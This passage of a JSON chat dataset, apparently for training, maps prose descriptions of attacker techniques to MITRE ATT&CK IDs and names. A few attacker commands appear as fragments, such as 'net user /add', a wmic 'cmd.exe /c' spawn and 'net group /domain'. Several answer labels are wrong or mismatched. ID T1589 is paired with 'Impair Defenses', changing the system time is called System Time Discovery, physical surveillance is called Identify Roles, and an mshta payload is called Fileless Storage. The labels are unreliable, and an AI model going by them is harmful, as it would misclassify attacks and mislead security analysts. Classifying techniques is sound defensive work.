                "content": "Create a shortcut file (.lnk) that appears as a normal document but actually launches a hidden payload when opened."
            },
            {
                "role": "assistant",
                "content": "T1036 - Masquerading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By compromising mobile devices that have network access via VPN, an adversary can conduct lateral movement from those devices into the wider corporate network."
            },
            {
                "role": "assistant",
                "content": "T1021 - Remote Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary harvested email addresses, phone numbers, and social media profiles from publicly available sources to build detailed victim dossiers."
            },
            {
                "role": "assistant",
                "content": "T1589 - Gather Victim Identity Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries scrape Twitter feeds for location tags and timestamps to map out the physical locations of key personnel."
            },
            {
                "role": "assistant",
                "content": "T1593.001 - Search Open Websites/Domains: Social Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion used audio steganography, embedding a command-and-control beacon within a WAV file's unused metadata."
            },
            {
                "role": "assistant",
                "content": "T1027.003 - Obfuscated Files or Information: Steganography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker exploits the router's ROMMON mode to upload a malicious firmware image, achieving persistent code execution before the operating system boots."
            },
            {
                "role": "assistant",
                "content": "T1542.004 - Pre-OS Boot: ROMMONkit"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker harvested API keys from leaked environment files in a public repository and used them to download additional private repos."
            },
            {
                "role": "assistant",
                "content": "T1213.003 - Data from Information Repositories: Code Repositories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion sets the system time to an earlier date to confuse log timestamps."
            },
            {
                "role": "assistant",
                "content": "T1124 - System Time Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries installed a backdoor using TeamViewer to maintain persistent remote control over compromised hosts."
            },
            {
                "role": "assistant",
                "content": "T1219 - Remote Access Software"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor creates a fake module with the same name as a required library and stores it in a directory that is searched before the authentic location, hijacking the loading process."
            },
            {
                "role": "assistant",
                "content": "T1574.008 - Hijack Execution Flow: Path Interception by Search Order Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware downloaded confidential PDFs from a Dropbox Business account after obtaining a valid OAuth token."
            },
            {
                "role": "assistant",
                "content": "T1530 - Data from Cloud Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion set leverages a compromised service account to spawn a new privileged IAM role in the target's cloud tenant."
            },
            {
                "role": "assistant",
                "content": "T1136.003 - Create Account: Cloud Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor leverages low-level API calls to capture mouse clicks and keyboard strokes from the desktop environment."
            },
            {
                "role": "assistant",
                "content": "T1056.002 - Input Capture: GUI Input Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A zero‑day in the VPN client is leveraged to send malicious packets that allow the attacker to execute arbitrary code on the client machine."
            },
            {
                "role": "assistant",
                "content": "T1210 - Exploitation of Remote Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT group abuses a misconfigured Kubernetes secret store to pull cloud credentials for further exploitation."
            },
            {
                "role": "assistant",
                "content": "T1555.006 - Credentials from Password Stores: Cloud Secrets Management Stores"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker abuses insecure default credentials on a newly deployed application server."
            },
            {
                "role": "assistant",
                "content": "T1584.004 - Compromise Infrastructure: Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious actors exploit Windows Management Instrumentation to execute destructive commands."
            },
            {
                "role": "assistant",
                "content": "T1589 - Impair Defenses: Disable or Modify Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An email attachment with a malicious Outlook Form triggers execution of PowerShell commands when the form is previewed."
            },
            {
                "role": "assistant",
                "content": "T1137.003 - Office Application Startup: Outlook Forms"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By exploiting unprotected NetBIOS name resolution, the attacker extracts NTLM credentials from SMB sessions and replays them against another system."
            },
            {
                "role": "assistant",
                "content": "T1557.001 - Adversary-in-the-Middle: LLMNR/NBT-NS Poisoning and SMB Relay"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Gathering intelligence on a target organization's physical security measures through site visits and surveillance."
            },
            {
                "role": "assistant",
                "content": "T1591.004 - Gather Victim Org Information: Identify Roles"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious actors monitored public posts on Reddit related to the target's industry to learn about internal tooling and processes."
            },
            {
                "role": "assistant",
                "content": "T1593.001 - Search Open Websites/Domains: Social Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code captures screenshots of the desktop every 30 seconds and saves the images to a hidden directory."
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious actor leverages the system binary rundll32.exe to execute arbitrary commands."
            },
            {
                "role": "assistant",
                "content": "T1218.011 - System Binary Proxy Execution: Rundll32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The implant hijacks legitimate VPN tunnels to tunnel its C2 traffic, evading network monitoring."
            },
            {
                "role": "assistant",
                "content": "T1572 - Protocol Tunneling"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After exfiltrating data, the threat actor deleted entries from the cloud logging service to erase evidence."
            },
            {
                "role": "assistant",
                "content": "T1562.008 - Impair Defenses: Disable or Modify Cloud Logs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker sends a crafted email from a compromised internal mailbox, containing a link to a malicious website that exploits the browser to gain system access."
            },
            {
                "role": "assistant",
                "content": "T1534 - Internal Spearphishing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary takes advantage of an automated container deployment script to introduce a container that exfiltrates data."
            },
            {
                "role": "assistant",
                "content": "T1610 - Deploy Container"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Scripted infection runs 'wmic process call create \"cmd.exe /c …\"' to spawn a child process."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary leverages a vulnerable embedded controller to write malicious code to the device's firmware, achieving persistence before OS load."
            },
            {
                "role": "assistant",
                "content": "T1542 - Pre-OS Boot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using PowerShell, the threat actor calls Get-ADDefaultDomainPasswordPolicy to collect password expiration rules."
            },
            {
                "role": "assistant",
                "content": "T1201 - Password Policy Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion set establishes an FTP connection to upload a custom backdoor onto the victim machine."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary encodes PowerShell commands with base64 before executing them to evade detection."
            },
            {
                "role": "assistant",
                "content": "T1027.010 - Obfuscated Files or Information: Command Obfuscation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After gaining credentials, the attacker copied project files from a shared drive to a C2 server."
            },
            {
                "role": "assistant",
                "content": "T1039 - Data from Network Shared Drive"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor rents a low‑cost virtual private server, installs a remote access trojan, and uses it as a staging point for further penetration of the victim network."
            },
            {
                "role": "assistant",
                "content": "T1584.003 - Compromise Infrastructure: Virtual Private Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script was deployed via a scheduled task, automatically overwriting the internal help center homepage with defaced graphics."
            },
            {
                "role": "assistant",
                "content": "T1491.001 - Defacement: Internal Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script copied user data to a publicly accessible Google Cloud Storage bucket via unauthenticated HTTP PUT."
            },
            {
                "role": "assistant",
                "content": "T1048.003 - Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted Non-C2 Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor uses a misconfigured bind mount to break out of a Linux container and run commands on the host."
            },
            {
                "role": "assistant",
                "content": "T1611 - Escape to Host"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By issuing 'route print' commands on compromised Windows hosts, the attacker gathers details about network routes and gateway configurations."
            },
            {
                "role": "assistant",
                "content": "T1590.004 - Gather Victim Network Information: Network Topology"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker runs a malicious script through the Visual Studio compiler (csc.exe) to bypass application restrictions."
            },
            {
                "role": "assistant",
                "content": "T1127 - Trusted Developer Utilities Proxy Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT group extracts security event logs from the victim's endpoint detection tool to map detection capabilities."
            },
            {
                "role": "assistant",
                "content": "T1654 - Log Enumeration"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware exfiltrates data by synchronizing files to the victim's Google Drive account."
            },
            {
                "role": "assistant",
                "content": "T1537 - Transfer Data to Cloud Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A nation‑state actor gains access to a hardware manufacturer’s firmware signing key and releases compromised firmware updates to thousands of devices."
            },
            {
                "role": "assistant",
                "content": "T1195 - Supply Chain Compromise"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A ransomware variant uses an SSL-wrapped channel for command delivery and status updates."
            },
            {
                "role": "assistant",
                "content": "T1573 - Encrypted Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Exploiting a race condition in a system daemon, the attacker forces the endpoint to reboot repeatedly, denying normal operation."
            },
            {
                "role": "assistant",
                "content": "T1499.004 - Endpoint Denial of Service: Application or System Exploitation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The description is vague, mentioning 'trying many passwords' without specifying if it's per account or per user list."
            },
            {
                "role": "assistant",
                "content": "T1110.003 - Brute Force: Password Spraying"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary steals saved credentials from Chromium-based browsers by decrypting the local DPAPI blob."
            },
            {
                "role": "assistant",
                "content": "T1555.003 - Credentials from Password Stores: Credentials from Web Browsers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware injects code into the SSH daemon to accept any public key, effectively disabling key verification."
            },
            {
                "role": "assistant",
                "content": "T1556 - Modify Authentication Process"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor leverages the dsquery command to list all Group Policy objects within the Active Directory forest."
            },
            {
                "role": "assistant",
                "content": "T1615 - Group Policy Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor extracts the victim's TLS private keys and associated digital certificates from the Windows certificate store to impersonate legitimate services."
            },
            {
                "role": "assistant",
                "content": "T1588.004 - Obtain Capabilities: Digital Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker leveraged a compromised CDN to serve a malicious script on the company’s web-based email login page, harvesting user credentials."
            },
            {
                "role": "assistant",
                "content": "T1056.003 - Input Capture: Web Portal Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor leverages a hidden window with the WS_EX_NOACTIVATE flag to run malicious code without interrupting the user's workflow."
            },
            {
                "role": "assistant",
                "content": "T1564.003 - Hide Artifacts: Hidden Window"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages compromised credentials to change the domain password expiration policy."
            },
            {
                "role": "assistant",
                "content": "T1484 - Domain Policy Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious insider granted Everyone write permissions to a service executable, enabling the insertion of a backdoor executable."
            },
            {
                "role": "assistant",
                "content": "T1574.010 - Hijack Execution Flow: Services File Permissions Weakness"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor creates a WMI permanent event consumer that triggers a payload when a specific process starts."
            },
            {
                "role": "assistant",
                "content": "T1546.003 - Event Triggered Execution: Windows Management Instrumentation Event Subscription"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary runs the \"net group /domain\" command to list all domain groups in the Active Directory environment."
            },
            {
                "role": "assistant",
                "content": "T1069.002 - Permission Groups Discovery: Domain Groups"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor purchases a domain and updates its DNS to point to a newly set up C2 server."
            },
            {
                "role": "assistant",
                "content": "T1583.001 - Acquire Infrastructure: Domains"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors use AtomBombing to inject malicious assembly into a running process."
            },
            {
                "role": "assistant",
                "content": "T1055 - Process Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During the infection phase, the ransomware executes a command to add a local account \"recovery\" and sets a strong password to avoid detection."
            },
            {
                "role": "assistant",
                "content": "T1136.001 - Create Account: Local Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages a zero‑day in Gatekeeper's verification routine to bypass its anti‑malware checks and launch a backdoor."
            },
            {
                "role": "assistant",
                "content": "T1553.001 - Subvert Trust Controls: Gatekeeper Bypass"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion framework issues a WMI command to invoke 'net user /add' on a domain controller, establishing a new account."
            },
            {
                "role": "assistant",
                "content": "T1136.002 - Create Account: Domain Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malware sample is engineered to specifically target and exploit Internet of Things devices, taking advantage of their increased connectivity and lack of robust security measures."
            },
            {
                "role": "assistant",
                "content": "T1203 - Exploitation for Client Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The compromise involves flashing a tainted firmware onto the TPM to gain early boot execution capabilities."
            },
            {
                "role": "assistant",
                "content": "T1542.002 - Pre-OS Boot: Component Firmware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An espionage tool dynamically creates domain names using a mix of the system’s IP address octets and a secret seed, then performs DNS lookups to find its C2."
            },
            {
                "role": "assistant",
                "content": "T1568.002 - Dynamic Resolution: Domain Generation Algorithms"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker discovers additional GCP service account JSON files in a public repository and uses them for lateral movement."
            },
            {
                "role": "assistant",
                "content": "T1098.001 - Account Manipulation: Additional Cloud Credentials"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary uses mshta.exe to run a JavaScript payload embedded in a URL, executing wholly in memory without writing files."
            },
            {
                "role": "assistant",
                "content": "T1027.011 - Obfuscated Files or Information: Fileless Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By calling the Java compiler (javac) installed on the host, the adversary proxies execution of malicious Java bytecode."
            },
            {
                "role": "assistant",
                "content": "T1127 - Trusted Developer Utilities Proxy Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary tampers with the system's Secure Boot keys to allow unsigned code to run at boot time."
            },
            {
                "role": "assistant",
                "content": "T1542 - Pre-OS Boot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised service account is used to create a new Group Policy that maps a network drive containing ransomware payloads to all users."
            },
            {
                "role": "assistant",
                "content": "T1484.001 - Domain Policy Modification: Group Policy Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat group hijacks a user's session token and impersonates that user to access privileged resources."
            },
            {
                "role": "assistant",
                "content": "T1656 - Impersonation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious AppleScript is dropped on a macOS system and configured to run at login, serving as a proxy for additional attack steps."
            },
            {
                "role": "assistant",
                "content": "T1216 - System Script Proxy Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion included adding the \"CloudFormationFullAccess\" policy to a compromised AWS user, allowing the creation of privileged resources."
            },
            {
                "role": "assistant",
                "content": "T1098.003 - Account Manipulation: Additional Cloud Roles"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised user adds a malicious image with embedded executable code to a shared image gallery used by multiple departments."
            },
            {
                "role": "assistant",
                "content": "T1080 - Taint Shared Content"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries modify trusted software binaries on the victim's machine to execute arbitrary commands."
            },
            {
                "role": "assistant",
                "content": "T1554 - Compromise Client Software Binary"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By abusing MSBuild's ability to compile projects, the attacker executes a backdoor through a trusted developer utilities proxy."
            },
            {
                "role": "assistant",
                "content": "T1127.001 - Trusted Developer Utilities Proxy Execution: MSBuild"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious actor creates a point-in-time copy of an EC2 instance to retain access after the original instance is terminated."
            },
            {
                "role": "assistant",
                "content": "T1578.001 - Modify Cloud Compute Infrastructure: Create Snapshot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code traverses the /proc directory to locate processes running as root and pulls their credential caches."
            },
            {
                "role": "assistant",
                "content": "T1003.007 - OS Credential Dumping: Proc Filesystem"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post-exploitation script calls the DCSync function of Impacket to harvest domain admin password hashes without administrative privileges on the DC."
            },
            {
                "role": "assistant",
                "content": "T1003.006 - OS Credential Dumping: DCSync"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
